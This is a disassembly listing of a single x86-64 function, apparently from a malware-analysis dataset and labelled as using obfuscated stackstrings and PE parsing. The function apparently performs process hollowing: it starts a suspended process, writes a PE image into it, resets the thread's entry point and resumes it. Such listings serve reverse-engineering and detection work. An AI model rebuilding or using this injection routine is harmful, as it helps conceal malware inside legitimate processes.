Function at 0x1400164d0
Capabilities:
Contain obfuscated stackstrings
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov r13, r8
mov rsi, rdx
mov r15, rcx
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
mov ebx, 0xffffffff
mov dword [rbp - 0x18], ebx
lea rcx, [rbp - 0x18]
call fcn.140007a70
mov r14d, eax
xor dil, dil
movzx r12d, byte [rbp + 0xc8]
test r12b, r12b
je 0x1400165de
call fcn.14004a5d0
mov rcx, rax
test rax, rax
je 0x1400169e2
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x38], rax
movzx r9d, byte [rbp + 0xc0]
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x40]
mov ecx, r14d
call fcn.140015990
test al, al
je 0x1400165ba
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x1400165ba
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
mov r14d, 1
mov dword [rsp + 0x20], r14d
lea r9d, [rbx + 3]
xor r8d, r8d
mov edx, 0x2000000
call fcn.14004e3f0
test eax, eax
je 0x1400165ba
xor r8d, r8d
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x50]
call fcn.14004e520
movzx edi, dil
test eax, eax
cmovne edi, r14d
mov rdx, qword [rbp - 0x38]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], ebx
sub ebx, 1
jg 0x1400165d5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
test dil, dil
je 0x1400169bf
mov dword [rsp + 0x64], 0x32336c65
mov word [rsp + 0x61], 0x7265
mov dword [rsp + 0x68], 0x6c6c642e
mov byte [rsp + 0x60], 0x4b
mov byte [rsp + 0x63], 0x6e
mov byte [rsp + 0x6c], 0
lea rcx, [rsp + 0x60]
call fcn.1400538a0
mov rbx, rax
test rax, rax
je 0x1400169bf
mov dword [rbp - 0x79], 0x6f436461
mov dword [rbp - 0x74], 0x74786574
mov dword [rbp - 0x80], 0x54746553
mov byte [rbp - 0x70], 0
mov word [rbp - 0x7c], 0x7268
mov byte [rbp - 0x7a], 0x65
mov byte [rbp - 0x75], 0x6e
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401aa058], rax
mov word [rsp + 0x71], 0x7365
mov word [rsp + 0x77], 0x7268
mov word [rsp + 0x74], 0x656d
mov word [rsp + 0x7a], 0x6461
mov byte [rsp + 0x79], 0x65
mov byte [rsp + 0x73], 0x75
mov byte [rsp + 0x70], 0x52
mov byte [rsp + 0x76], 0x54
mov byte [rsp + 0x7c], 0
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401aa060], rax
mov dword [rbp - 0x5f], 0x636f7250
mov word [rbp - 0x65], 0x696d
mov dword [rbp - 0x5b], 0x737365
mov word [rbp - 0x62], 0x7461
mov word [rbp - 0x67], 0x7265
mov byte [rbp - 0x60], 0x65
mov byte [rbp - 0x63], 0x6e
mov byte [rbp - 0x68], 0x54
lea rdx, [rbp - 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401aa068], rax
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x140016977
movsxd rdi, dword [r15 + 0x3c]
add rdi, r15
cmp dword [rdi], 0x4550
jne 0x140016977
lea rdx, [rbp + 0xc8]
mov rcx, rsi
call fcn.14004e7b0
movzx eax, word [rdi + 4]
mov ecx, 0x14c
cmp ax, cx
jne 0x140016727
cmp dword [rbp + 0xc8], 0
jmp 0x140016738
mov ecx, 0x8664
cmp ax, cx
jne 0x14001673e
cmp dword [rbp + 0xc8], 6
jne 0x1400169bf
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x10], xmm1
movups xmmword [rbp], xmm1
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm1
mov qword [rbp + 0x50], rax
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x101
xor r14d, r14d
mov word [rbp + 0x30], r14w
lea rax, [rbp - 0x30]
xor r9d, r9d
test r12b, r12b
je 0x1400167cb
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r14
mov rax, qword [rbp - 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r8, r13
mov rdx, rsi
mov rcx, qword [rbp - 0x48]
call fcn.14004e630
jmp 0x1400167fe
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r14d
xor r8d, r8d
mov rdx, r13
mov rcx, rsi
call fcn.140052850
test eax, eax
je 0x140016986
mov ebx, 4
mov r9d, ebx
lea edx, [rbx + 8]
xor ecx, ecx
mov r8d, 0x1000
call fcn.1400515a0
mov r13, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp - 0x28]
call fcn.14004f730
mov rcx, qword [rbp - 0x30]
test eax, eax
je 0x14001697e
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r14
lea r9d, [rbx + 4]
lea r8, [rbp - 0x38]
call fcn.14004f8f0
lea r12, [rdi + 0x30]
mov rdx, qword [r12]
mov rcx, qword [rbp - 0x38]
mov eax, ecx
cmp rax, rdx
jne 0x140016880
mov rdx, rcx
mov rcx, qword [rbp - 0x30]
call fcn.140052770
mov rdx, qword [rdi + 0x30]
mov eax, 0x40
cmp byte [rbp + 0xb8], r14b
cmovne ebx, eax
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], ebx
mov r9d, 0x3000
mov rcx, qword [rbp - 0x30]
call fcn.140051680
mov r14, rax
mov rcx, qword [rbp - 0x30]
test rax, rax
je 0x14001696f
mov r9d, dword [rdi + 0x54]
mov qword [rsp + 0x20], 0
mov r8, r15
mov rdx, rax
call fcn.14004f630
movzx ebx, word [rdi + 0x14]
add rbx, 0x2c
xor eax, eax
mov esi, eax
cmp ax, word [rdi + 6]
jae 0x140016922
add rbx, rdi
xor r12d, r12d
nop word [rax + rax]
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, r15
mov edx, dword [rbx - 8]
add rdx, r14
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp - 0x30]
call fcn.14004f630
lea rbx, [rbx + 0x28]
inc esi
movzx eax, word [rdi + 6]
cmp esi, eax
jl 0x1400168f0
lea r12, [rdi + 0x30]
xor eax, eax
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, r12
mov rcx, qword [rbp - 0x30]
call fcn.14004f630
mov eax, dword [rdi + 0x28]
add rax, r14
mov qword [r13 + 0x80], rax
mov rdx, r13
mov rcx, qword [rbp - 0x28]
call qword [0x1401aa058]
mov rcx, qword [rbp - 0x28]
call qword [0x1401aa060]
mov bl, 1
xor r14d, r14d
jmp 0x140016988
xor edx, edx
call qword [0x1401aa068]
xor bl, bl
xor r14d, r14d
jmp 0x140016988
xor edx, edx
call qword [0x1401aa068]
xor bl, bl
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14001699a
call fcn.140053380
mov qword [rbp - 0x50], r14
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1400169ac
call fcn.1400523d0
mov qword [rbp - 0x48], r14
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x1400169ba
call fcn.1400523d0
movzx eax, bl
jmp 0x1400169c1
xor al, al
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x80004005
call fcn.14001eef0
int3